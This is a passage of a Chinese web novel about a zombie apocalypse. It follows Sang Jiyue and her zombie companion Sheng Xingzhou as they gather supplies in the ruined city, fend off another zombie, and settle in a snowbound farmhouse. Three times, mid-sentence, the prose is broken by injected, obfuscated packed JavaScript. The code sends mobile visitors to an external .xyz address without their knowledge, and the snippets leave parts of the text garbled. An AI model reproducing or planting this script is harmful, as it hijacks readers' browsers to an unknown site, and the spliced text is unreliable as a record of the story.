上辈子这个时间节点他们离开了这里,要去与军方会合前往位于南山监狱的幸存者基地,虽然最后他们还没有到,基地就被丧尸灭了。 这一世因为江望曦,后山上也有军方驻扎,不过殷乔他们很显然没有选择去幸存者基地,既然这样,他们也不会沿着前世的那条路往前走了。 “我是被同类的气息吸引来的,为了饱餐一顿,我还特地叫上了其他丧尸。”那只丧尸非常遗憾的开口:“只是最后还是没能饱餐一顿,那几个人都逃了,还掳走了我们刚尸化的同伴。” 看来叶临也是异种丧尸了。 异种丧尸万里挑一,桑寄月没想到她一遇就是两。 那只丧尸看着桑寄月,话锋一转:“为什么……你的气息这么奇怪呢?” 他还是看脸认出的桑寄月,似乎没能在她身上感受到同类的气息,只有同类的味道。 丧尸凑近桑寄月,似乎是想更仔细的闻一闻她。 旁边好不容易安静下来的盛星舟当即激动起来,挣脱开桑寄月的手,和他扑咬在一起打了起来。 丧尸并不是盛星舟的对手。 他似乎是觉得被低等丧尸按着打很耻辱,推开盛星舟就跑走了。 盛星舟回到了桑寄月旁边,要桑寄月继续牵他。 桑寄月拍了拍他的手臂,很高兴的说:“做得很好。” 接下来就是要思考去哪的问题了,他们这种情况自然是在丧尸堆里更安全,那么可以去的地方可就多了。 鉴于在这之后他们不太可能再遇见人类,所以桑寄月准备为盛星舟多准备一些食物,毕竟她总不能一直割自个儿手腕,她没有那么多血。 如今海晏区虽然有军方介入,但救援的难度并不低,毕竟他们来的时候,末世已经过去了好几个月,该堕落的人也都已经堕落,当然不敢出现在军方面前。 桑寄月回想着上辈子在海晏区遇到的一些坏事,准备让某些人先去死一死。 因为要进入人类的地盘,所以盛星舟和大福被她安置在了一间商铺里,叮嘱他们不要乱跑之后,她才兴奋的离开。 大福很有等待桑寄月的经验,在门口趴下休息,时不时的抬起清亮的眼睛看一眼正站在原地不动的盛星舟。 过了很久,盛星舟开始在房间里游荡。 大福也甩着尾巴去吃桑寄月给它准备的狗粮。 紧闭的门忽然被推开,一只熟悉的丧尸映入眼帘。 盛星舟面目凶光。 重振旗鼓的丧尸疑惑低吼着开口:“她人呢?怎么只有你?” 盛星舟朝着丧尸扑了过去。 丧尸连忙往后一退,盛星舟的手按在门口,抬起的脚迈出去又迈回来。 毕竟桑寄月花了很长时间和他沟通,让他不准离开这里。 丧尸从地上捡了一块石头,朝盛星舟身上砸,盛星舟被砸了个正着,很是愤怒,当即朝着他冲了上去。 丧尸撒腿就跑。 盛星舟拔腿就追。 …… 半夜的时候,巷子里传来了几声枪响,惹得附近的丧尸都兴奋的冲了过去,这注定是个不眠之夜。 直至天明,桑寄月才一蹦一跳的从巷子里跑出来,她脸上带着笑,说明这一趟收获颇丰。 该死的人全都被她杀了,肉给帮她冲锋陷阵的小可爱们,她帮盛星舟收集了很多新鲜的血液,足够他吃一段时间。 不过这里是不能再久待了,昨晚闹出的动静太大,想必很快就会被军方注意到,派人来增援,救出这里的老弱妇孺。 回到商铺的时候,大福亲热的围了上来冲着她摇尾巴,桑寄月走到背对着她的丧尸身后,高兴的开口:“盛星舟!” 他转过身来,惊讶的看着桑寄月:“嗯?你在用人类的语言吗?” “盛星舟呢?”桑寄月改用丧尸的语言。 丧尸很开心的说:“他跑了,以后换我跟着你,我有名字,叫季信,你想喊我盛星舟也可以,我不介意。” 桑寄月:“?” “他跑哪去了?” 季信耸耸肩,浑不在意的说:“他追着我要打我,跑着跑着就迷路了,但我聪明,我没迷路。” 桑寄月牵着大福出门找迷路的丧尸。 季信跟上她,叹息道:“这年头想找个同类太难了,你懂那种我站在水边咏鹅的时候,旁边的丧尸在我旁边饿饿饿狂叫的悲痛感吗?可算是让我找到能跟我说两句话的同类了。” 桑寄月没搭理他。 在附近转了一圈都没有找到盛星舟让让桑寄月有些烦躁,这里丧尸那么多,如果真的失散了想找到盛星舟并不容易。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146396|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果然盛星舟不是狗,不能指望他待在原地乖乖等她回来。 桑寄月越想越烦,季信还跟在她旁边,她反手掏出那把枪,抵在了他的额头:“你能找到那里,说明你能感知到盛星舟的气息,帮我找到他。” 自然不是感知到她的气息,她又不是丧尸。 季信:“这什么玩意儿?” 异种丧尸不知世间险恶,竟然不认得枪。 桑寄月换了匕首,面无表情。 这个季信认得,秒怂:“这就找这就找。” 对于让盛星舟迷路这件事,季信自然是早有预谋的,他昨天特地跑了十里地,才甩开了盛星舟。 本来以为要找盛星舟还要颇费一番功夫,没想到他竟然就在昨天迷路的地方安静的站着,时不时茫然的看看四周。 桑寄月松了一口气,同时也暗下决心以后不能和他再分开了,不然下次可能真的会找不到。 至于季信,已经没有用处了。 桑寄月面无表情的将匕首捅进他的后脑勺—— 季信腿一软,扑通一声跪在了地上:“别!同类!” 盛星舟也在这时看见了桑寄月,立刻朝着她跑了过来,他已经习惯了这具身体,跑起来也没那么僵硬了。 桑寄月居高临下的看着脚边的丧尸:“你对之前烂尾楼里那只丧尸的气息也熟悉吗?” “当然!”季信信誓旦旦:“我现在就能闻出他在哪,我们这就去找他,我们仨……” 他看了眼盛星舟,又改口:“我们四以后强强联合,称霸丧尸群!” 桑寄月面露微笑:“我要你找到他,给他们的小队找点麻烦,别让他们过得太开心了。” “啊?” …… 在得到完成“杀了那个叫桑淮的男人”的任务桑寄月就允许他跟随的承诺后,季信兴高采烈的离开了。 被忽视了许久的盛星舟摇晃了一下桑寄月的手臂,似乎想引起她的注意。 桑寄月瞥了他一眼,说道:“本来想骂你的,还没大福听话,可是你又听不懂我在说什么。” 他说不出话来,也听不懂桑寄月说话,只定定地看着她。 接下来的旅途会很漫长,盛星舟在进食的时候,桑寄月就在附近能看到他的地方寻找出行工具。 本来是想找一辆汽车,但想到她接下来是要去燕城其他沦陷的区域,如果开汽车的话十有八九会堵在路上,所以桑寄月最后还是选了一辆酷酷的黑色小电驴。 将上面的血迹擦干净后,桑寄月从附近的尸体里找出钥匙,插了进去—— 还有电,可以用。 盛星舟和大福也走到了她的旁边,大福很有经验的跳到了电驴前面放脚的位置,一屁股坐下。 盛星舟则是站着一动不动,盯着桑寄月。 桑寄月正在整理头发,然后戴上被擦干净的粉红色头盔,注意到盛星舟的目光,她开口:“你也想戴头盔吗?” 盛星舟慢吞吞的伸出手,落在她头顶,似乎帮她正了一下有些歪的头盔。 桑寄月又说:“只找到一顶头盔,不给你戴了,反正你摔一下也不会磕坏脑袋,但我不行。” 她是一个吸取教训的人。 桑寄月又花费了很长的时间教盛星舟怎么在后座坐好,然后她坐上小电驴,把他的手放在了她的腰上,叮嘱道:“扶稳了,我开车超快,别把你给颠下去了。” 他保持着桑寄月给他调整的姿势,一动不动。 桑寄月拧着油门,小电驴呲溜一下就窜了出去,飙车是飙不了的,但还是比走路要快上很多。 四周的丧尸在滴滴滴的喇叭声中给桑寄月让路,不让的桑寄月也不敢撞上去了,怕把车撞坏,老老实实的避开他们。 “看到了吗盛星舟,以前就是因为你,我开车的时候丧尸们才要追着我咬的,你人味太重了。”这种速度让桑寄月感到很无聊,于是开口说话,和盛星舟打发时间。 桑寄月接着说道:“现在好了,你只有死味了,没丧尸理你,你也能在丧尸群里大摇大摆的嚣张走一遭了,开心吗?” 盛星舟自然不会有任何反应。 桑寄月又说:“你会觉得无聊吗?要不你来开?” “不过你肯定会把我带沟里,还是算了。” “之前我开车的时候你在我旁边做什么来着?” 桑寄月说着,从空间里找出了一根坚硬的牛肉干,扭头塞进了盛星舟嘴里:“给你嚼着玩,打发时间。” 盛星舟机械的嚼着嘴里索然无味的肉干,又偷偷的靠近桑寄月,在她后脖颈嗅了嗅。 好香,牙有点痒,想咬。 他嚼嚼嚼嚼着嘴里的牛肉干。 桑寄月也逐渐安静了下来,只时不时和盛星舟说说附近的路况和风景。 这条不太美观的路,是独属于他们的旅途。 34. 丧尸 燕城是一座占地面积非常大的城市,共有十二个区,其中有过半的区早已通过无线电广播宣告沦陷。 桑寄月接下来要去的就是与海晏区毗邻但很早就宣告沦陷的曙光区,末世前曙光区是燕城人流量最大的区域之一,除了住户之外还有数不清的游客,现下都变成了拥挤游荡的丧尸。 微风吹拂而过,秋日午后的阳光透出些许的暖意,他们沐浴着微风与阳光,在一片混乱中穿行而过。 到了曙光区,因为实在是过于拥堵,所以桑寄月只能将她酷酷的坐骑放到一边,和盛星舟徒步前行。 趁着现在天色还早,曙光区除了丧尸就是丧尸,桑寄月在这里想做什么都可以,目前最需要做的事,是将空间填满。 空间里的时间不会流动,许多有保质期的必须物资都能够存放。 桑寄月倒是没有忙着去囤积食物,她先是去了医院扫荡了一通,将未来可能会用上的药品都装进去。 因为空间面积有限,所以桑寄月挑挑拣拣不免多花费了一些时间,等到需要的药品都塞进空间后,她看了眼空间里面一地的乱七八糟,让没事干的系统七四帮她收纳好,她明天检查。 七四一边在心里骂一边笑容满面的接下桑寄月的任务,同时终于开始后知后觉的感慨他的宿主真不是一般人,是怎么心甘情愿给桑寄月当牛做马的啊。 换他他早就在心里起义了,就像现在这样。 桑寄月自然不会在意七四的想法,出了医院后她开始思考接下来的一段时间该住在哪里,反正这里没有人,哪里都很安全。 “盛星舟,你想住酒店还是住小区?或者你想住别墅吗?”桑寄月偏过脑袋去问盛星舟。 盛星舟呆呆的看着她。 桑寄月轻叹了一声,最后还是拉着盛星舟在附近找了一家丧尸数量相对比较少的酒店住下。 空置了许久的酒店房间里布满灰尘,好不容易找到了一间没有尸体的套房后,桑寄月拖着疲惫的身体开始打扫。 大福蹲在地上吃狗粮。 盛星舟端端正正的坐在沙发上咬着血袋吸里面的血。 只有爱干净的桑寄月在勤勤恳恳的收拾房间。 意识到这一点的桑寄月心里有些不平衡,大福是狗就算了,盛星舟又不是狗,凭什么不用干活。 桑寄月抢了盛星舟刚喝了一半的血袋,生气的叉着腰看着他:“不准吃了,跟我一起打扫房间。” 这明明就是盛星舟该干的活,别以为变成丧尸了就能偷懒。 盛星舟舔了舔嘴角的鲜血,双眼无神的盯着她,哪怕是被抢了还没吃完的食物,也没有流露出愤怒的情绪。 变成丧尸都这么好欺负,桑寄月不欺负他她都觉得她要崩恶毒女配的人设了。 于是桑寄月把还坐在沙发上的盛星舟拽了起来,开始教他怎么扫地、擦桌子、整理床铺…… 盛星舟的动作很慢,但理解能力还可以,桑寄月只教了一个小时,他就会擦桌子了,把那张桌子擦得锃光瓦亮。 桑寄月将卧室打扫干净后出来夸他:“盛星舟,你好聪明呀,你一定是第一只会擦桌子的丧尸。” 盛星舟听不懂她在说什么,只专注的擦着那张大理石的桌面。 桑寄月又没得到回应,她轻微的撇了下嘴,然后从空间里拿出炊具和食材,开始准备晚餐。 盛星舟看见桑寄月有了新的动作,也不擦桌子了,慢吞吞的走过来,和平常一样,安静的看着她。 “想学做饭吗?你怎么这么好学呀盛星舟。”桑寄月很给面子的说:“那我教你吧,其实我厨艺可好了,只是之前都是在藏拙,能跟着我学你赚到了。” 最后在盛星舟的火力支援下成功烧穿了一口锅还险些引发了火灾。 桑寄月当即翻脸让盛星舟滚去角落待着,然后吃了大半碗自热米饭,就算是结束了今天的进食。 明天还要继续去收集物资,桑寄月忙忙碌碌了一整天也困了,进了收拾干净的卧室睡觉。 盛星舟坐在角落里,无神的眼眸眨也不眨的盯着她。 刚把自己裹紧柔软温暖的被褥时,桑寄月就听见了沉闷的撞门声,她捂住耳朵:“盛星舟,别吵我。” 撞门声犹在继续。 桑寄月套上伪装丧尸的装备,然后跳下床,踩在干净的木质地板上,啪嗒啪嗒的走了过去,打开门,不耐烦的扔给他那半袋血袋。 盛星舟一边慢吞吞的喝完里面的血液,一边堂而皇之的进入了她的卧室。 桑寄月:“你干嘛啊?” 他闷声不响的看着她。 桑寄月有些困了,动手推搡着他,想把他赶出去,但他扒着门,一动不动,根本赶不走。 很好,得寸进尺了。 不过桑寄月又想,盛星舟在哪都无所谓,反正是个没脑子的死人,她也不怕死人,爱站她床边就站吧。 她套着那件连帽衫,又躺在了床上,正在整理凌乱的被褥的时候,沉默安静的盛星舟忽然动了。 他爬上了她的床,钻进她还没来得及裹好的被子里,学着前两夜她教他的模样,把她抱进了怀里。 很显然,他刚才等那么久,就是为了观测她今夜不在墙角,也不在沙发,那是要在哪里睡。 得到答案后,盛星舟便无师自通了。 不过桑寄月今晚并不需要盛星舟,他刚才进食结束也没有漱口,她嫌脏。 所以没有想太多就把他踹了下去,指着房间角落命令:“你去那。” 盛星舟似乎有些迷茫,但在第二次被桑寄月踹下床之后,他就安静的去角落里待着了,一点脾气都没有。 卧室里重新安静下来。 桑寄月睡着了。 之后的一段时间桑寄月过得相当充实,带着盛星舟到处收集物资,要填满他们的空间。 在这过程中,桑寄月惊奇的发现空间竟然还会扩大,虽然没扩大几平米,但也不失为一个好兆头。 桑寄月开心的收集着物资,然后让七四给她做好收纳,确保不浪费任何空间。 时间过得很快,桑寄月撕下一页日历,无论是上面的日期还是逐渐转冷的天气,都在告诉她,冬天来了。 盛星舟的伤也差不多愈合,身上的淤青与烧伤都已经散去,掩在泛着青白的皮肤之下,脖颈和脸上的伤口也长好了,腐肉随之脱落,露出冰冷的皮肤来。 只有手臂处最开始属于丧尸的咬伤,完全没有愈合的迹象,狰狞绽开的腐肉被厚实保暖的衣物遮盖住。 伤是好得差不多了,只是人还是老样子,保持着没脑子的尸体样。 这一日,在快到家的时候,天空忽然洋洋洒洒的飘起了雪来。 盛星舟忽然顿住脚步,抬头望天,看着飘落而下的一片白茫茫,似乎是觉得很惊奇。 桑寄月倒是见怪不怪。 在末世一旦天气出现异样,就说明又一轮的极端天气就要来了,这场雪只是开端,并且没有休止,接下来会更冷。 桑寄月裹紧了身上保暖厚实的大衣,她的手上戴着毛茸茸的粉色兔子手套,隔着手套牵着盛星舟继续往前走:“不就是下雪吗,以后有得看。” 盛星舟伸手接住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150238|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片雪花,摊平手给桑寄月看,他没有温度,雪花落在掌心也没有化开。 桑寄月撇了下嘴,心中不屑。 她学着从前盛星舟高兴时的模样,咧开嘴开心的笑着:“天呐,你竟然接住了一片雪花耶。” 盛星舟看着她嘴角的笑,也动了动僵硬的脸,唇角扬起了一丝笑。 桑寄月也不知道他是单纯的开心还是只是在模仿她,不过也无所谓。 因为盛星舟对下雪感到很惊奇,所以桑寄月不得不陪他在外面多待了一会儿。回家的时候就感觉身体不大对劲了,似乎有生病的迹象。 她生气的用脚尖踢了一下他的小腿:“都怪你,我要是生病了就完蛋了。” 在这种天气生病,桑寄月肯定她会病一整个冬天。 盛星舟抖了抖身上的积雪,慢吞吞的去了空房间里,开始准备晚餐。 ——在桑寄月的耐心教导下丧尸盛星舟已经掌握了很多生活技能,又能愉快的为桑寄月当牛做马了。 吃饱喝足之后,桑寄月换上保暖的睡衣,进了卧室休息;盛星舟也有自己的卧室,但他又用不着睡觉,大多数时候都在发呆,或者偷听隔壁的动静,桑寄月一醒他就可以去找她。 今晚也不例外。 隔壁忽然传来了些许动静。 盛星舟看了眼窗外,一片漆黑,并不是桑寄月该起床的时间。 但她发出声音了,虽然听不懂,但肯定是在叫他。 盛星舟当即站起来,去隔壁房间找桑寄月。 桑寄月窝在厚厚的被子里,露出来的一张小脸惨白,整个人都控制不住的在发抖,也不知道是疼的还是冷的。 她已经醒了,因为太难受,时不时发出细碎的痛苦的低吟声。 看见盛星舟进来,桑寄月似乎有些惊讶,她弓着腰,小腹坠痛,连带着身体都在发冷。 桑寄月觉得她是要生病了,这种时候需要更高的温度,她从被子里伸出手,抓住了盛星舟的手,说:“抱我。” 盛星舟记得这两个字。 他也并没有忘记拥抱是怎样的动作。 熟悉的温度与力道重新贴上冰冷柔软的身躯,桑寄月弓着的身子松缓了些,她紧紧的贴着那抹温度,挣扎着重新入睡。 手臂间颤抖的躯体似乎逐渐平静了下来。 盛星舟转动着覆盖着一层白膜的眼珠子,慢慢的凑近了她的脖颈。 他又闻到了很香的味道。 只咬一口的话,会被打吗? …… 桑寄月仍是被疼醒的,她额头冒着冷汗,睁开眼便对上了盛星舟毫无感情的双眸,而他距离她的脖颈,极近。 因为小腹的疼痛未曾缓解,让桑寄月的思想都迟缓了许多,她下意识的偏过脑袋,离他的唇远了一些。 视线随着她的动作,落在了衣帽架上,那里挂着她染了丧尸血的一件大衣。 她的气息现在没有任何遮挡。 这一认知几乎让桑寄月险些跳起来,但或者是因为盛星舟没有得到指令,所以他手臂间的力道也没有松开,她也没有成功跳起来。 只是挣扎的动作过大,桑寄月感受到下半身似乎有种糟糕的感觉,小腹也像是被一只大手翻搅着。 桑寄月有些懵,直到盛星舟的眸子变得赤红,代表了进食的欲望产生,她才骤然反应了过来。 她忽然爆发了前所未有的力气,重重的将盛星舟推下床,反手掏出枕下的匕首,警告他:“出去!” 盛星舟慢慢的从地上爬起来,这一次却没有听话的离开,反而离她越来越近。 35. 搬家 女性在末世生活总比男性要艰难很多,她们最亲密的伙伴来临时,嗅觉比狗鼻子还要灵敏的丧尸,会像癞皮狗一样的贴上来,甩也甩不脱。 那几天是她们最艰难的时候。 桑寄月上辈子并没有这种烦恼,因为自从末世开始后,她本来就不太准的生理期彻底与她告别,后来为人的两年时间里,她从未来过月经。 而这辈子可能是因为饮食规律、心情愉悦了,她和她亲爱的伙伴竟然见面了。 事情似乎变得有些麻烦了…… 腹部又是一阵抽痛,让桑寄月差点瘫在床上,她颤抖着手抬起匕首,这一次却没有办法震慑已经贴近她的盛星舟。 桑寄月用最后一点力气从空间里拿出几袋血包,苍白着脸说道:“我还有近两年的时间,你不准咬我。” 那几袋血包掉在了盛星舟的脚边。 桑寄月闭了闭眼,有些懊恼对他未免太没有防备之心,他现在毕竟是丧尸。 如果提前被咬了的话,江望曦还能找到她吗? 桑寄月一点都不想在外面流浪。 众多思绪只是一瞬之间,那一刻桑寄月甚至想殊死一搏拧下盛星舟的脑袋,但已经脱力的身体让她连抬手都困难。 只是…… 盛星舟的动作这么慢的吗? 桑寄月睁开眼,就见他依旧和平常一样安静的看着她,只是泛红的眸子昭示着他的心情不像表面上看起来那样平静。 注意到桑寄月的目光,他抬起青白的手,蜷缩起来手指,用曲起的指关节蹭了蹭她眼角的泪花。 他张了张嘴,破碎的音节串连成字:“不、哭……” 原来他除了用丧尸的语言说滚还会说不哭。 见桑寄月不吭声,盛星舟又抬起手,学着桑寄月平时的动作,摸了摸她柔软的发顶。 有那么一瞬间,桑寄月还以为他恢复正常了。 她张了张口,用丧尸的语言和他对话:“你能再说一句话吗?” 盛星舟显而易见的没有听懂,仿佛刚才的声音只是她的错觉。 桑寄月脱力般的倒在了床上,将脸埋进柔软的枕头里,缓了好久。 盛星舟已经捡起了地上的血包,一边喝一边闻她。 桑寄月抬头一看:“……” 很好,现在盛星舟已经会自己哄自己吃饭了是吧。 桑寄月裹着被子下床,不忘把盛星舟一并赶出她的房间,她进了卫生间,过了好久才出来。 被血污染的被褥和床单她也不想要了,连带着盛星舟身上的衣服和她的睡裙一并烧了个干净。 盛星舟慢吞吞的在卧室里重新铺床,一身清爽的桑寄月捧着热牛奶小口小口的喝着。 腹部的疼痛缓解了一些。 外面原本漫无目的游荡的脚步声却似乎开始聚拢。 桑寄月微微皱了皱眉。 这曙光区里到处都是丧尸,酒店里当然也不例外,桑寄月虽然住在这里,但却从来都没有管过外面终日游荡的丧尸,因为她觉得丧尸又不会攻击她,那些可爱的家伙们在外面就是她的保镖。 而这一切都是在她不流血的前提之下。 丧尸的鼻子比狗还要灵,一旦让他们闻到血腥味,想要散去比登天还难。 大门被撞得砰砰作响,丧尸隐隐有破门而入的趋势。 他们一旦闯入,只怕附近的丧尸都会被吸引过来,桑寄月想起外面密密麻麻的丧尸,第一次对他们的存在感到头疼。 桑寄月刚要去卧室里拿那件染了丧尸血的大衣,卧室里整理床铺的盛星舟听见声音,慢吞吞的走了出来,视线落在桑寄月的脸上,又顺着桑寄月的目光落在那扇摇摇欲坠的门上。 一瞬之间,他有了一种所有物被窥伺的感觉。 这种认知让他尤为愤怒。 盛星舟比普通的丧尸要聪明一些,他会开门,也养成了随手关门的好习惯。 外面传来了丧尸的吼叫声。 桑寄月半天才回过神来,走到门边用猫眼看外面—— 天呐,丧尸在打丧尸。 其实除非是为了争夺食物,丧尸的内部平时都是很团结的。 桑寄月想着,原本紧绷的身体又放松了下来,她惬意的晃着悬空的脚丫,懒洋洋的靠在沙发上。 直到她慢悠悠的喝完那杯牛奶,盛星舟才一身脏的回来。 开关门的一瞬间,桑寄月嗅见了属于丧尸的浓重血腥味,足够掩盖她的气息。 桑寄月看了他一眼,确定就是没有那件血衣他也不会攻击她之后,她更加嚣张:“盛星舟,给我拿条毯子。” 盛星舟没听懂,站在原地不动。 桑寄月拍了拍她裸露在外的小腿,表示需要一个东西盖一下。 他想了想,进了卧室,将一条柔软的毯子盖到了她腿上,然后想像之前那样坐在她的旁边,被她踹走。 “你很脏。”桑寄月指着卫生间的方向,里面她习惯性的用水异能蓄了水,方便随时使用。 盛星舟这次倒是很快理解了,因为桑寄月经常性的他们一回来她从卫生间出来就要把他也赶进去清理外面带来的气息。 将身上清理干净又换了一身衣服的盛星舟这才被允许坐到桑寄月的旁边。 桑寄月打了个呵欠,枕在他腿上,让他把手搁在她柔软的小腹,命令道:“给我捂捂。” 盛星舟知道这是要温度的意思。 他安静的当好暖手宝。 桑寄月昨晚上就没有睡好,在身上一身清爽又暖烘烘的情况下,她闭着眼,很快又沉沉睡去。 …… 突如其来的月经并没有打破桑寄月平静的生活,她依旧过得非常惬意,整天都懒洋洋的,像只猫一样的趴在沙发上,有的时候翘着腿吃零食,还有的时候捧着本书打发时间,心情好了甚至会写两套从图书馆里顺手拿的数学卷子保持智商。 那几天她什么也不想做,遛狗也不愿意了,全部都交给了盛星舟。 下大雪也不能阻挡大福要出门的脚步,回来的时候和盛星舟都成了雪人。 桑寄月看盛星舟回来了,张嘴就喊:“盛星舟,过来抱我。” 他用异能烘干大福身上的雪后,慢吞吞的走到了她旁边坐下,把她抱住。 桑寄月举着手里的卷子给盛星舟看:“你看,我考了满分,我是天才。” 他盯着那张卷子看了一眼,重新将目光挪到她脸上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162912|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你会做吗?”桑寄月笑眯眯的和他说:“虽然我没上过大学,但是高数我也是会的哦,你穿书之前也是大学生吧。” 蠢得可爱,年纪应该不会太大。 桑寄月又和他嘀嘀咕咕了几句,也没得到回应,她也无所谓,最后和他说:“再有几天雪就会停一段时间,我们要趁这个时间离开这里,换一个没有丧尸的地方落脚。” 如果她还会来月经的话,全是丧尸的地方自然不能再待,毕竟不能她那几天的安全全都寄托在盛星舟的身上。 桑寄月这几天仔细的研究了一番燕城的地图,最后约定和盛星舟去郊外的乡下消磨她接下来的时光。 正如桑寄月所说,没过几天雪果然停了,路面上的积雪被游荡的丧尸踩得很是结实,又在难得的阳光里化开。 不过温度还是有些低,桑寄月往盛星舟旁边缩了缩,感受到熟悉的温度后,她才接着往前走。 丧尸是有迁徙的习惯的,在丧尸族群里能够传递消息的范围内,他们会抛弃长久以来没有新鲜食物的地方。 燕城的幸存者基地就是这么沦陷的。 如今丧尸已经开始迁徙,拥堵的路面空出了很多,恰巧方便了桑寄月,她和盛星舟去了车行,弄了一辆新车,在附近的加油站加满油,顺便抽出几桶汽油备用。 桑寄月给后排的大福系上安全带,然后帮坐在副驾驶上的盛星舟系,他垂眸看了眼身上的“绳子”,似乎有些不习惯,不停的挣扎着。 桑寄月抬眸看他一眼:“你真不想系安全带吗?” 他尖锐的爪子几乎要割破安全带。 桑寄月伸手按开了他身上的束缚,他才安静下来。 “好吧,这可是你自找的。” 桑寄月看了眼前面的路况,一脚踩下油门—— 冰面之上,汽车像是离弦之箭一样窜了出去,没过多久就开始打滑,虽然桑寄月及时踩下刹车,但车子还是撞上了坍塌的废墟。 没系安全带的盛星舟整个人都飞了出去,脸贴在了挡风玻璃上。 他捂着脸,很艰难的才反应过来,去看旁边的桑寄月。 桑寄月系着安全带,豪发无伤。 盛星舟似乎明白了什么,伸出手去轻轻拉了拉她的胳膊。 桑寄月被他逗笑了,重新帮他把安全带系上,然后重新启动车辆,这一次稳了许多,也没有再在冰面上打滑。 随着旅途的展开,车窗外的景色由坍塌的城市建筑,举目四望的断壁残垣,变成了一望无垠的原野,覆盖着皑皑白雪,在明媚的阳光下,散发着金色的光辉。 盛星舟被窗外的景色吸引,盯着外面看了很久,惹得桑寄月不满:“你为什么不看我,盛星舟。” 他听见桑寄月的声音,扭过头来看了她一眼,然后又看向窗外,似乎在做对比。 很快,新鲜感褪去,他重新将所有视线都落在桑寄月的脸上。 她唇角翘着,笑容惬意,是完完全全放松的姿态。 盛星舟也跟着她笑了。 三天后,车子缓缓停在了一处山脚下的农家小院,里面空无一人,院子很大,房间不算太乱。 在大雪再来临前,他们有了新的家。 36. 冬天 桑寄月和盛星舟的运气还算不错,刚确定下来落脚点,好不容易晴了几天的天气又陡然转冷,更大的暴风雪拉开了隆冬的序幕。 不过风雪吹不进这坚固的农家小院,外面的暴风雪也暂时被桑寄月丢在了脑后,她指挥着盛星舟把房间打扫干净,然后也难得有闲情逸致开始装点接下来她会住上很长一段时间的卧室。 小院的完整度还可以,除了次卧需要修缮之外,其他的建筑都还算完好,考虑到盛星舟单不单独一个卧室问题就不大,桑寄月就没去管破破烂烂的次卧,他平时待在她房间或者待在客厅里都无所谓。 一晃小半个月的时间过去,小院焕然一新,这天早上盛星舟照例拿着扫帚,慢吞吞的在院子里扫着昨晚的积雪。 桑寄月叼着吸管从卧室里的窗户探出头来,手里还抓着玻璃瓶,里面是还剩个底的牛奶。瓶身还是热的,将她原本冰凉的指尖都染得温热。 外面的雪小了一些,但风还是很大,垂在桑寄月的脸上,带来一阵寒意,不过屋子里很暖和,她也没太觉得不适。 桑寄月的目光随着风吹来的方向,落在院子里的盛星舟身上。 他仍安静的在扫雪,肤色青白,身上没有丝毫温度,落在他身上的雪累积不化,又让他成为了一个雪人。 “盛星舟。” 听见声音,盛星舟慢慢的看过去,神情依旧没有丝毫起伏。 桑寄月坐在了高高的窗户上,踩着厚实靴子的双脚悬空晃个不停,她说:“你给我堆个雪人吧。” 桑寄月在说话,好像又是要求他做什么,但涉及到新的指令,他并不能理解。 “我来教你。”桑寄月说着,低头看了眼距离她还有一段距离的地面,似乎是想直接跳下来。 盛星舟盯着她的动作,已经能够从她的肢体轨迹中判断出接下来她要做什么,但脑子是转过来了,僵硬的身体没有。 在他抬脚伸手想接住她时,她已经干净利落的从高高的窗台跳了下来,将脚下的雪踩得咯吱咯吱响,站在了他跟前。 桑寄月穿得厚厚的,手上还戴上了毛茸茸的手套,她说话时都在呵出冷气:“快,你先把雪都扫到一起,我要堆一个超级大的雪人。” 好不容易趁着今天雪小一点,桑寄月也不打算一整天待在温室里,偶尔出来吹吹冷风,对身体也好。 盛星舟听了,又开始慢慢的扫雪。 旁边还有扫帚,但桑寄月没有碰的想法,她走在盛星舟的侧前方指挥着他,主打参与感。 桑寄月这里走走,那里踢踢,玩累了又跑回来和他说话:“盛星舟,现在是你想过的生活吗?” 自从脱离了殷乔和桑淮他们之后,桑寄月和盛星舟的生活就一直非常平静,从城市搬到乡下,他们的生活也没有改变。 桑寄月竟然感觉还挺好的,身边暂时没有了桑淮的存在,她仿佛跳出了过去的怪圈,每天都很开心。 不过盛星舟开心吗? 他现在还会有如此丰富的情绪吗? 盛星舟盯着桑寄月脚底下的那块雪,他想扫,但她挡道了。 桑寄月勾着唇开口:“虽然我没想过现在的这种生活,但我很开心,这一次没有听妈妈的话,我好像也没选错哦。” “原来也不用事事都听妈妈的话哦……” 她嘀咕了两句,似乎是觉得自己这样说不太好,然后向盛星舟寻求意见:“你说妈妈会怪我吗?” 本来此时她不该在这里快乐度日的。 桑寄月本来没指望盛星舟回应她的,但盛星舟忽然朝着她伸出了手—— 她愣了一下,呆呆的看着他。 盛星舟会做出什么动作来回答她呢? 盛星舟将桑寄月轻轻的拉到一边,然后扫平了她脚下的那块雪毯。 